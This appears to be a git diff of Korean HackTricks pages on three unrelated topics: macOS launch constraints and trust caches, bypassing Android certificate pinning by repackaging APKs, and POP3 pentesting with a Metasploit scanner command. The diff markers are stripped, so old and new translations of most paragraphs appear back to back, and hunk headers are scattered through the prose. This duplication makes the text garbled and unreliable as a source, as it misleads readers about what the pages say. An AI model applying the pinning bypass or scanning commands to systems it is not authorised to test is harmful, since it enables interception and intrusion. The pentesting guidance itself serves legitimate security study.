이 메커니즘은 macOS Sonoma부터 **환경 제약**을 통해 제3자 앱에 확장됩니다. 이를 통해 개발자는 **환경 제약을 위한 키와 값 집합**을 지정하여 앱을 보호할 수 있습니다.
|
||||
이 메커니즘은 macOS Sonoma부터 **환경 제약**을 통해 서드파티 앱으로 확장되어, 개발자가 **환경 제약을 위한 키와 값의 세트를 지정하여 앱을 보호할 수 있도록 합니다.**
|
||||
|
||||
**실행 환경 및 라이브러리 제약**은 **`launchd` 속성 목록 파일**에 저장하거나 코드 서명에 사용하는 **별도의 속성 목록** 파일에 정의합니다.
|
||||
**`launchd` 속성 목록 파일**에 저장하거나 코드 서명에 사용하는 **별도의 속성 목록** 파일에 제약 사전에서 **실행 환경 및 라이브러리 제약**을 정의합니다.
|
||||
|
||||
제약에는 4가지 유형이 있습니다:
|
||||
제약의 종류는 4가지입니다:
|
||||
|
||||
* **자체 제약**: 실행 중인 바이너리에 적용되는 제약 사항입니다.
|
||||
* **부모 프로세스**: 프로세스의 부모에 적용되는 제약 사항입니다 (예: XP 서비스를 실행하는 **`launchd`**).
|
||||
* **책임 제약**: XPC 통신에서 서비스를 호출하는 프로세스에 적용되는 제약 사항입니다.
|
||||
* **자기 제약**: **실행 중인** 바이너리에 적용되는 제약.
|
||||
* **부모 프로세스**: **프로세스의 부모**에 적용되는 제약 (예: **`launchd`**가 XP 서비스를 실행하는 경우)
|
||||
* **책임 제약**: XPC 통신에서 **서비스를 호출하는 프로세스**에 적용되는 제약
|
||||
* **라이브러리 로드 제약**: 로드할 수 있는 코드를 선택적으로 설명하기 위해 라이브러리 로드 제약을 사용합니다.
|
||||
|
||||
따라서 프로세스가 다른 프로세스를 실행하려고 할 때 - `execve(_:_:_:)` 또는 `posix_spawn(_:_:_:_:_:_:)`를 호출함으로써 - 운영 체제는 **실행 파일이 자체 제약을 만족하는지** 확인합니다. 또한 **부모 프로세스의 실행 파일이 실행 파일의 부모 제약을 만족하고**, **책임 프로세스의 실행 파일이 실행 파일의 책임 프로세스 제약을 만족하는지** 확인합니다. 이러한 실행 제약 중 하나라도 만족되지 않으면 운영 체제는 프로그램을 실행하지 않습니다.
|
||||
따라서 프로세스가 다른 프로세스를 시작하려고 할 때 — `execve(_:_:_:)` 또는 `posix_spawn(_:_:_:_:_:_:)`를 호출하여 — 운영 체제는 **실행 파일이** **자기 제약**을 **충족하는지** 확인합니다. 또한 **부모 프로세스의** 실행 파일이 **부모 제약**을 **충족하는지** 확인하고, **책임 프로세스의** 실행 파일이 **책임 프로세스 제약**을 **충족하는지** 확인합니다. 이러한 실행 제약 중 하나라도 충족되지 않으면 운영 체제는 프로그램을 실행하지 않습니다.
|
||||
|
||||
라이브러리를 로드할 때 **라이브러리 제약의 일부가 참이 아니면** 프로세스는 라이브러리를 **로드하지 않습니다**.
|
||||
라이브러리를 로드할 때 **라이브러리 제약**의 일부가 **참이 아닐 경우**, 프로세스는 **라이브러리를 로드하지 않습니다**.
|
||||
|
||||
## LC 카테고리
|
||||
## LC Categories
|
||||
|
||||
LC는 **사실**과 **논리 연산**(and, or 등)으로 구성된 제약 조합입니다.
|
||||
LC는 **사실**과 **논리 연산**(and, or..)으로 구성되어 사실을 결합합니다.
|
||||
|
||||
[**LC가 사용할 수 있는 사실은 문서화**되어 있습니다](https://developer.apple.com/documentation/security/defining\_launch\_environment\_and\_library\_constraints). 예를 들어:
|
||||
[**LC가 사용할 수 있는 사실은 문서화되어 있습니다**](https://developer.apple.com/documentation/security/defining\_launch\_environment\_and\_library\_constraints). 예를 들어:
|
||||
|
||||
* is-init-proc: 실행 파일이 운영 체제의 초기화 프로세스(`launchd`)여야 하는지 여부를 나타내는 부울 값입니다.
|
||||
* is-sip-protected: 실행 파일이 시스템 무결성 보호(SIP)로 보호된 파일이어야 하는지 여부를 나타내는 부울 값입니다.
|
||||
* `on-authorized-authapfs-volume:` 운영 체제가 권한이 부여된 인증된 APFS 볼륨에서 실행 파일을 로드했는지 여부를 나타내는 부울 값입니다.
|
||||
* `on-authorized-authapfs-volume`: 운영 체제가 권한이 부여된 인증된 APFS 볼륨에서 실행 파일을 로드했는지 여부를 나타내는 부울 값입니다.
|
||||
* is-init-proc: 실행 파일이 운영 체제의 초기화 프로세스(`launchd`)여야 하는지를 나타내는 부울 값.
|
||||
* is-sip-protected: 실행 파일이 시스템 무결성 보호(SIP)로 보호된 파일이어야 하는지를 나타내는 부울 값.
|
||||
* `on-authorized-authapfs-volume:` 운영 체제가 인증된 APFS 볼륨에서 실행 파일을 로드했는지를 나타내는 부울 값.
|
||||
* `on-authorized-authapfs-volume`: 운영 체제가 인증된 APFS 볼륨에서 실행 파일을 로드했는지를 나타내는 부울 값.
|
||||
* Cryptexes 볼륨
|
||||
* `on-system-volume:` 운영 체제가 현재 부팅된 시스템 볼륨에서 실행 파일을 로드했는지 여부를 나타내는 부울 값입니다.
|
||||
* `on-system-volume:` 운영 체제가 현재 부팅된 시스템 볼륨에서 실행 파일을 로드했는지를 나타내는 부울 값.
|
||||
* /System 내부...
|
||||
* ...
|
||||
|
||||
Apple 바이너리가 서명되면 **LC 카테고리에 할당**됩니다.
|
||||
Apple 바이너리가 서명되면 **신뢰 캐시** 내의 **LC 카테고리에 할당됩니다**.
|
||||
|
||||
* **iOS 16 LC 카테고리**는 [**여기에서 역으로 추적되고 문서화**되어 있습니다](https://gist.github.com/LinusHenze/4cd5d7ef057a144cda7234e2c247c056).
|
||||
* 현재 **LC 카테고리 (macOS 14** - Somona)는 역으로 추적되어 [**여기에서 설명을 찾을 수 있습니다**](https://gist.github.com/theevilbit/a6fef1e0397425a334d064f7b6e1be53).
|
||||
* **iOS 16 LC 카테고리**는 [**여기에서 역추적되고 문서화되었습니다**](https://gist.github.com/LinusHenze/4cd5d7ef057a144cda7234e2c247c056).
|
||||
* 현재 **LC 카테고리 (macOS 14 - Sonoma)**는 역추적되었으며 [**설명은 여기에서 찾을 수 있습니다**](https://gist.github.com/theevilbit/a6fef1e0397425a334d064f7b6e1be53).
|
||||
|
||||
예를 들어 카테고리 1은:
|
||||
```
|
||||
|
@ -59,24 +60,24 @@ Category 1:
|
|||
Self Constraint: (on-authorized-authapfs-volume || on-system-volume) && launch-type == 1 && validation-category == 1
|
||||
Parent Constraint: is-init-proc
|
||||
```
|
||||
* `(on-authorized-authapfs-volume || on-system-volume)`: 시스템 또는 Cryptexes 볼륨에 있어야 함.
|
||||
* `launch-type == 1`: 시스템 서비스여야 함 (LaunchDaemons의 plist).
|
||||
* `validation-category == 1`: 운영 체제 실행 파일.
|
||||
* `(on-authorized-authapfs-volume || on-system-volume)`: 시스템 또는 Cryptexes 볼륨에 있어야 합니다.
|
||||
* `launch-type == 1`: 시스템 서비스여야 합니다 (LaunchDaemons의 plist).
|
||||
* `validation-category == 1`: 운영 체제 실행 파일입니다.
|
||||
* `is-init-proc`: Launchd
|
||||
|
||||
### LC 카테고리 역추적
|
||||
### LC 카테고리 리버싱
|
||||
|
||||
[**여기에서 더 자세한 정보**](https://theevilbit.github.io/posts/launch\_constraints\_deep\_dive/#reversing-constraints)를 확인할 수 있지만, 기본적으로 이들은 **AMFI (AppleMobileFileIntegrity)**에서 정의되므로 **Kernel Development Kit**을 다운로드하여 **KEXT**를 얻어야 합니다. **`kConstraintCategory`**로 시작하는 심볼들이 **흥미로운** 심볼들입니다. 이들을 추출하면 DER (ASN.1)로 인코딩된 스트림을 얻게 되는데, 이를 [ASN.1 Decoder](https://holtstrom.com/michael/tools/asn1decoder.php) 또는 python-asn1 라이브러리와 그것의 `dump.py` 스크립트, [andrivet/python-asn1](https://github.com/andrivet/python-asn1/tree/master)을 사용하여 해독해야 합니다. 이를 통해 더 이해하기 쉬운 문자열을 얻을 수 있습니다.
|
||||
여기에 대한 더 많은 정보는 [**여기에서**](https://theevilbit.github.io/posts/launch\_constraints\_deep\_dive/#reversing-constraints) 확인할 수 있지만, 기본적으로 **AMFI (AppleMobileFileIntegrity)**에 정의되어 있으므로 **KEXT**를 얻기 위해 Kernel Development Kit을 다운로드해야 합니다. **`kConstraintCategory`**로 시작하는 기호들이 **흥미로운** 것들입니다. 이들을 추출하면 DER (ASN.1) 인코딩 스트림을 얻을 수 있으며, 이를 [ASN.1 Decoder](https://holtstrom.com/michael/tools/asn1decoder.php) 또는 python-asn1 라이브러리와 그 `dump.py` 스크립트를 사용하여 디코드해야 합니다. [andrivet/python-asn1](https://github.com/andrivet/python-asn1/tree/master)로 더 이해하기 쉬운 문자열을 얻을 수 있습니다.
|
||||
|
||||
## 환경 제약 조건
|
||||
## 환경 제약
|
||||
|
||||
이들은 **제3자 애플리케이션**에서 구성된 Launch 제약 조건입니다. 개발자는 자신의 애플리케이션에서 사용할 **사실**과 **논리 연산자**를 선택하여 액세스를 제한할 수 있습니다.
|
||||
이것들은 **서드파티 애플리케이션**에서 설정된 Launch Constraints입니다. 개발자는 애플리케이션에서 자신에게 접근을 제한하기 위해 사용할 **사실**과 **논리 연산자**를 선택할 수 있습니다.
|
||||
|
||||
애플리케이션의 환경 제약 조건을 열거하는 것이 가능합니다.
|
||||
애플리케이션의 환경 제약을 나열하는 것은 가능합니다:
|
||||
```bash
|
||||
codesign -d -vvvv app.app
|
||||
```
|
||||
## Trust Caches
|
||||
## 신뢰 캐시
|
||||
|
||||
**macOS**에는 몇 가지 신뢰 캐시가 있습니다:
|
||||
|
||||
|
@ -84,17 +85,17 @@ codesign -d -vvvv app.app
|
|||
* **`/System/Volumes/Preboot/*/boot/*/usr/standalone/firmware/FUD/StaticTrustCache.img4`**
|
||||
* **`/System/Library/Security/OSLaunchPolicyData`**
|
||||
|
||||
iOS에서는 **`/usr/standalone/firmware/FUD/StaticTrustCache.img4`**에 위치합니다.
|
||||
iOS에서는 **`/usr/standalone/firmware/FUD/StaticTrustCache.img4`**에 있는 것 같습니다.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Apple Silicon 기기에서 실행되는 macOS에서 Apple이 서명한 이진 파일이 신뢰 캐시에 없으면 AMFI가 로드를 거부합니다.
|
||||
Apple Silicon 장치에서 실행되는 macOS에서는 Apple 서명 이진 파일이 신뢰 캐시에 없으면 AMFI가 이를 로드하는 것을 거부합니다.
|
||||
{% endhint %}
|
||||
|
||||
### 신뢰 캐시 열거
|
||||
|
||||
이전의 신뢰 캐시 파일은 **IMG4** 및 **IM4P** 형식입니다. 여기서 IM4P는 IMG4 형식의 페이로드 섹션입니다.
|
||||
이전 신뢰 캐시 파일은 **IMG4** 및 **IM4P** 형식이며, IM4P는 IMG4 형식의 페이로드 섹션입니다.
|
||||
|
||||
[**pyimg4**](https://github.com/m1stadev/PyIMG4)를 사용하여 데이터베이스의 페이로드를 추출할 수 있습니다:
|
||||
데이터베이스의 페이로드를 추출하려면 [**pyimg4**](https://github.com/m1stadev/PyIMG4)를 사용할 수 있습니다:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -114,9 +115,9 @@ pyimg4 im4p extract -i /System/Library/Security/OSLaunchPolicyData -o /tmp/OSLau
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
(다른 옵션으로는 [**img4tool**](https://github.com/tihmstar/img4tool) 도구를 사용하는 것이 있습니다. 이 도구는 M1에서도 실행될 수 있으며, 적절한 위치에 설치하면 오래된 버전이나 x86\_64용으로도 작동합니다).
|
||||
(또 다른 옵션은 도구 [**img4tool**](https://github.com/tihmstar/img4tool)를 사용하는 것입니다. 이 도구는 M1에서도 실행되며, 릴리스가 오래되었더라도 x86\_64에서 적절한 위치에 설치하면 실행됩니다).
|
||||
|
||||
이제 도구 [**trustcache**](https://github.com/CRKatri/trustcache)를 사용하여 정보를 읽기 쉬운 형식으로 얻을 수 있습니다:
|
||||
이제 도구 [**trustcache**](https://github.com/CRKatri/trustcache)를 사용하여 읽기 쉬운 형식으로 정보를 얻을 수 있습니다:
|
||||
```bash
|
||||
# Install
|
||||
wget https://github.com/CRKatri/trustcache/releases/download/v2.0/trustcache_macos_arm64
|
||||
|
@ -140,7 +141,7 @@ entry count = 969
|
|||
01e6934cb8833314ea29640c3f633d740fc187f2 [none] [2] [2]
|
||||
020bf8c388deaef2740d98223f3d2238b08bab56 [none] [2] [3]
|
||||
```
|
||||
신뢰 캐시는 다음과 같은 구조를 따릅니다. 따라서 **LC 카테고리는 4번째 열**입니다.
|
||||
신뢰 캐시는 다음 구조를 따릅니다. 따라서 **LC 카테고리는 4번째 열입니다.**
|
||||
```c
|
||||
struct trust_cache_entry2 {
|
||||
uint8_t cdhash[CS_CDHASH_LEN];
|
||||
|
@ -150,49 +151,49 @@ uint8_t constraintCategory;
|
|||
uint8_t reserved0;
|
||||
} __attribute__((__packed__));
|
||||
```
|
||||
다음은 데이터를 추출하기 위해 [**이 스크립트**](https://gist.github.com/xpn/66dc3597acd48a4c31f5f77c3cc62f30)와 같은 스크립트를 사용할 수 있습니다.
|
||||
그런 다음, [**이 스크립트**](https://gist.github.com/xpn/66dc3597acd48a4c31f5f77c3cc62f30)를 사용하여 데이터를 추출할 수 있습니다.
|
||||
|
||||
그 데이터에서 **`0`** 값의 **launch constraints**를 가진 앱을 확인할 수 있습니다. 이 값은 제약이 없는 앱을 나타냅니다 ([**여기에서**](https://gist.github.com/LinusHenze/4cd5d7ef057a144cda7234e2c247c056) 각 값에 대한 확인).
|
||||
그 데이터에서 **launch constraints 값이 `0`인 앱**을 확인할 수 있으며, 이는 제약이 없는 앱입니다 ([**여기에서 확인**](https://gist.github.com/LinusHenze/4cd5d7ef057a144cda7234e2c247c056) 각 값이 무엇인지).
|
||||
|
||||
## 공격 방지
|
||||
## 공격 완화
|
||||
|
||||
Launch Constraints는 여러 오래된 공격을 방지함으로써 **프로세스가 예상치 않은 조건에서 실행되지 않도록**합니다. 예를 들어 예상치 않은 위치에서 실행되거나 예상치 않은 부모 프로세스에 의해 호출되는 경우 (launchd만이 실행해야하는 경우).
|
||||
Launch Constraints는 **프로세스가 예상치 못한 조건에서 실행되지 않도록 보장함으로써** 여러 오래된 공격을 완화했을 것입니다: 예를 들어 예상치 못한 위치에서 실행되거나 예상치 못한 부모 프로세스에 의해 호출되는 경우(launchd만이 이를 실행해야 하는 경우).
|
||||
|
||||
또한, Launch Constraints는 **다운그레이드 공격을 방지**합니다.
|
||||
게다가, Launch Constraints는 **다운그레이드 공격도 완화합니다.**
|
||||
|
||||
그러나, 일반적인 XPC 남용, Electron 코드 주입 또는 라이브러리 유효성 검사 없는 dylib 주입 (로드할 수 있는 팀 ID가 알려져 있는 경우를 제외하고)는 방지하지 않습니다.
|
||||
하지만, **일반적인 XPC** 남용, **Electron** 코드 주입 또는 **dylib 주입**(라이브러리 검증 없이)은 완화하지 않습니다(라이브러리를 로드할 수 있는 팀 ID가 알려지지 않는 한).
|
||||
|
||||
### XPC 데몬 보호
|
||||
|
||||
Sonoma 릴리스에서 주목할만한 점은 데몬 XPC 서비스의 **책임 구성**입니다. XPC 서비스는 연결된 클라이언트가 책임을 질 필요가 없고, 자체적으로 책임을 집니다. 이는 피드백 보고서 FB13206884에 문서화되어 있습니다. 이 설정은 결함이 있는 것처럼 보일 수 있지만, 다음과 같은 XPC 서비스와의 상호작용을 허용합니다.
|
||||
소노마 릴리스에서 주목할 점은 데몬 XPC 서비스의 **책임 구성**입니다. XPC 서비스는 연결된 클라이언트가 책임지는 것이 아니라 스스로 책임을 집니다. 이는 피드백 보고서 FB13206884에 문서화되어 있습니다. 이 설정은 XPC 서비스와의 특정 상호작용을 허용하므로 결함이 있는 것처럼 보일 수 있습니다:
|
||||
|
||||
- **XPC 서비스 실행**: 버그로 간주된다면, 이 설정은 공격자 코드를 통해 XPC 서비스를 시작하는 것을 허용하지 않습니다.
|
||||
- **활성 서비스에 연결**: XPC 서비스가 이미 실행 중인 경우 (원래 애플리케이션에 의해 활성화 될 수 있음), 연결에 대한 장벽이 없습니다.
|
||||
|
||||
XPC 서비스에 제약을 가하는 것은 **잠재적인 공격 창을 좁히는 데 도움**이 될 수 있지만, 주요 관심사에 대한 대응은 아닙니다. XPC 서비스의 보안을 보장하기 위해서는 **연결된 클라이언트를 효과적으로 검증**하는 것이 필요합니다. 이것은 서비스의 보안을 강화하기 위한 유일한 방법입니다. 또한, 언급된 책임 구성은 현재 운영 중인 상태이며, 의도된 설계와 일치하지 않을 수 있음을 주목해야 합니다.
|
||||
- **XPC 서비스 시작**: 버그로 간주된다면, 이 설정은 공격자 코드로 XPC 서비스를 시작하는 것을 허용하지 않습니다.
|
||||
- **활성 서비스에 연결**: XPC 서비스가 이미 실행 중인 경우(원래 애플리케이션에 의해 활성화되었을 가능성이 있음), 연결하는 데 장애물이 없습니다.
|
||||
|
||||
XPC 서비스에 대한 제약을 구현하는 것은 **잠재적 공격의 창을 좁힘으로써** 유익할 수 있지만, 주요 문제를 해결하지는 않습니다. XPC 서비스의 보안을 보장하려면 **연결 클라이언트를 효과적으로 검증하는 것**이 근본적으로 필요합니다. 이는 서비스의 보안을 강화하는 유일한 방법입니다. 또한, 언급된 책임 구성은 현재 작동 중이며, 이는 의도된 설계와 일치하지 않을 수 있습니다.
|
||||
|
||||
### Electron 보호
|
||||
|
||||
애플리케이션이 **LaunchService에 의해 열려야 한다는** 요구사항이 있습니다 (부모 제약 조건에서). 이는 **`open`**을 사용하여 (환경 변수를 설정할 수 있는) 또는 **Launch Services API**를 사용하여 (환경 변수를 지정할 수 있는) 방식으로 달성할 수 있습니다.
|
||||
애플리케이션이 **LaunchService에 의해 열려야 한다는** 요구가 있더라도(부모 제약에서). 이는 **`open`**을 사용하여(env 변수를 설정할 수 있음) 또는 **Launch Services API**를 사용하여(env 변수를 지정할 수 있음) 달성할 수 있습니다.
|
||||
|
||||
## 참고 자료
|
||||
## 참고 문헌
|
||||
|
||||
* [https://youtu.be/f1HA5QhLQ7Y?t=24146](https://youtu.be/f1HA5QhLQ7Y?t=24146)
|
||||
* [https://theevilbit.github.io/posts/launch\_constraints\_deep\_dive/](https://theevilbit.github.io/posts/launch\_constraints\_deep\_dive/)
|
||||
* [https://eclecticlight.co/2023/06/13/why-wont-a-system-app-or-command-tool-run-launch-constraints-and-trust-caches/](https://eclecticlight.co/2023/06/13/why-wont-a-system-app-or-command-tool-run-launch-constraints-and-trust-caches/)
|
||||
* [https://developer.apple.com/videos/play/wwdc2023/10266/](https://developer.apple.com/videos/play/wwdc2023/10266/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* **사이버 보안 회사**에서 일하고 계신가요? **회사를 HackTricks에서 광고**하거나 **PEASS의 최신 버전에 액세스**하거나 **HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인해보세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요. 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter**에서 저를 **팔로우**하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **자신의 해킹 기법을 공유하려면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)에 PR을 제출하세요.
|
||||
*
|
||||
* .
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -23,11 +23,11 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
일부 애플리케이션은 사용자가 다운로드한 인증서를 좋아하지 않으므로, 일부 앱의 웹 트래픽을 검사하기 위해 실제로 애플리케이션을 디컴파일하고 몇 가지를 추가한 후 다시 컴파일해야 합니다.
|
||||
|
||||
# Automatic
|
||||
# 자동
|
||||
|
||||
도구 [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm)는 요청을 캡처하기 위해 애플리케이션에 필요한 변경 사항을 **자동으로** 수행하고 인증서 핀닝을 비활성화합니다(있는 경우).
|
||||
도구 [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm)는 요청을 캡처하기 위해 애플리케이션에 필요한 변경 사항을 **자동으로** 수행하며, 인증서 핀닝을 비활성화합니다(있는 경우).
|
||||
|
||||
# Manual
|
||||
# 수동
|
||||
|
||||
먼저 앱을 디컴파일합니다: `apktool d *file-name*.apk`
|
||||
|
||||
|
@ -45,7 +45,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
![](../../.gitbook/assets/img11.png)
|
||||
|
||||
이제 **res/xml** 폴더로 들어가 network\_security\_config.xml이라는 파일을 다음 내용으로 생성/수정합니다:
|
||||
이제 **res/xml** 폴더로 들어가 network\_security\_config.xml라는 파일을 생성하거나 수정하고 다음 내용을 추가합니다:
|
||||
```markup
|
||||
<network-security-config>
|
||||
<base-config>
|
||||
|
@ -62,24 +62,19 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
![](../../.gitbook/assets/img12.png)
|
||||
|
||||
마지막으로, **새 애플리케이션에 서명해야 합니다**. [서명하는 방법을 배우려면 이 페이지의 Smali - Decompiling/\[Modifying\]/Compiling 섹션을 읽으세요](smali-changes.md#sing-the-new-apk).
|
||||
마지막으로, **새 애플리케이션에 서명해야** 합니다. [서명하는 방법을 배우려면 이 페이지의 Smali - Decompiling/\[Modifying\]/Compiling 섹션을 읽으세요](smali-changes.md#sing-the-new-apk).
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<summary><strong>제로에서 영웅까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **HackTricks에 귀사의 광고를 보고 싶거나** **HackTricks를 PDF로 다운로드하고 싶다면** [**구독 계획**](https://github.com/sponsors/carlospolop)을 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 상품**](https://peass.creator-spring.com) 받기
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family), 우리의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 발견하기
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**을 팔로우하세요.**
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 리포지토리에 PR을 제출하세요.
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -25,7 +25,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
## 기본 정보
|
||||
|
||||
**우편 프로토콜 (POP)**은 컴퓨터 네트워킹 및 인터넷 영역 내의 프로토콜로 설명되며, 원격 메일 서버에서 이메일을 **추출하고 검색하는 데 사용**되어 로컬 장치에서 접근할 수 있게 합니다. OSI 모델의 응용 계층에 위치한 이 프로토콜은 사용자가 이메일을 가져오고 수신할 수 있도록 합니다. **POP 클라이언트**의 작동은 일반적으로 메일 서버에 연결을 설정하고, 모든 메시지를 다운로드하며, 이 메시지를 클라이언트 시스템에 로컬로 저장한 후 서버에서 제거하는 과정을 포함합니다. 이 프로토콜에는 세 가지 버전이 있지만, **POP3**가 가장 널리 사용되는 버전으로 두드러집니다.
|
||||
**우편 프로토콜 (POP)**은 컴퓨터 네트워킹 및 인터넷 영역 내의 프로토콜로 설명되며, 원격 메일 서버에서 이메일을 추출하고 **가져오는 데 사용**되어 로컬 장치에서 접근할 수 있게 합니다. OSI 모델의 애플리케이션 계층에 위치한 이 프로토콜은 사용자가 이메일을 가져오고 수신할 수 있도록 합니다. **POP 클라이언트**의 작동은 일반적으로 메일 서버에 연결을 설정하고, 모든 메시지를 다운로드하며, 이러한 메시지를 클라이언트 시스템에 로컬로 저장한 후 서버에서 제거하는 과정을 포함합니다. 이 프로토콜에는 세 가지 버전이 있지만, **POP3**가 가장 널리 사용되는 버전으로 두드러집니다.
|
||||
|
||||
**기본 포트:** 110, 995(ssl)
|
||||
```
|
||||
|
@ -151,15 +151,17 @@ Note: sourced from https://github.com/carlospolop/legion
|
|||
Command: msfconsole -q -x 'use auxiliary/scanner/pop3/pop3_version; set RHOSTS {IP}; set RPORT 110; run; exit'
|
||||
|
||||
```
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>제로에서 영웅까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
|
||||
* **사이버 보안 회사**에서 일하고 계신가요? **HackTricks에 귀사의 광고를 보고 싶으신가요**? 아니면 **최신 버전의 PEASS에 접근하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 계획**](https://github.com/sponsors/carlospolop)을 확인하세요!
|
||||
* [**PEASS 패밀리**](https://opensea.io/collection/the-peass-family)를 발견하세요, 우리의 독점 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 받아보세요.
|
||||
* **참여하세요** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass) 또는 **저를** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**에서 팔로우하세요.**
|
||||
* **해킹 트릭을 공유하려면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **와** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)에 PR을 제출하세요.
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
